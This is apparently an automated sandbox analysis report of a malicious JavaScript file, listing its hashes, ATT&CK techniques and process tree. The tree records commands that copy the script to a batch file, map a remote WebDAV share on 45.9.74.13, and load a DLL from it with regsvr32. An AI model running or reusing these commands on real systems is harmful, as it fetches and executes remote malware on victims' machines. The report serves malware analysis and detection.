a0e60b4f3f2cb5b78021d7569f0c2e0997db88b86c29ef60f5b839a2028d56c6

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
09/07/2024, 07:10

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General

Target

2833694611916012872.js
Size

5KB
MD5

a059b0a239f80394031fde8da725b794
SHA1

891e9a796395a055bf41b5b929199b30c3affd4f
SHA256

c971a1fa1d0fa5634745b4b0610f4938df0c326cffb61e716f8c9fee6f93a40d
SHA512

03885a4efc3873f8edc4cd3645e8b3b872c9c53a98abbb27bcd75bec69051a4bc4503e2958b2e4e8a418b678b7ad3f6e6ccae03fe17a818dc65c9e9d767c1d78
SSDEEP

96:wTsSStlSaiqPsgQQHxPEHsgQQHCYsp872dhPaHTMbkYnB2YMs9wrkb:1xgq0UMMXYsp8sa4m1kb

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2200	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2448 wrote to memory of 2848	2448	wscript.exe	30
PID 2448 wrote to memory of 2848	2448	wscript.exe	30
PID 2448 wrote to memory of 2848	2448	wscript.exe	30
PID 2848 wrote to memory of 548	2848	cmd.exe	32
PID 2848 wrote to memory of 548	2848	cmd.exe	32
PID 2848 wrote to memory of 548	2848	cmd.exe	32
PID 2848 wrote to memory of 2200	2848	cmd.exe	33
PID 2848 wrote to memory of 2200	2848	cmd.exe	33
PID 2848 wrote to memory of 2200	2848	cmd.exe	33
PID 2848 wrote to memory of 2200	2848	cmd.exe	33
PID 2848 wrote to memory of 2200	2848	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2833694611916012872.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2833694611916012872.js" "C:\Users\Admin\\weehjc.bat" && "C:\Users\Admin\\weehjc.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2848
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:548
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\60.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2200

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\weehjc.bat

Filesize
5KB

MD5
a059b0a239f80394031fde8da725b794

SHA1
891e9a796395a055bf41b5b929199b30c3affd4f

SHA256
c971a1fa1d0fa5634745b4b0610f4938df0c326cffb61e716f8c9fee6f93a40d

SHA512
03885a4efc3873f8edc4cd3645e8b3b872c9c53a98abbb27bcd75bec69051a4bc4503e2958b2e4e8a418b678b7ad3f6e6ccae03fe17a818dc65c9e9d767c1d78

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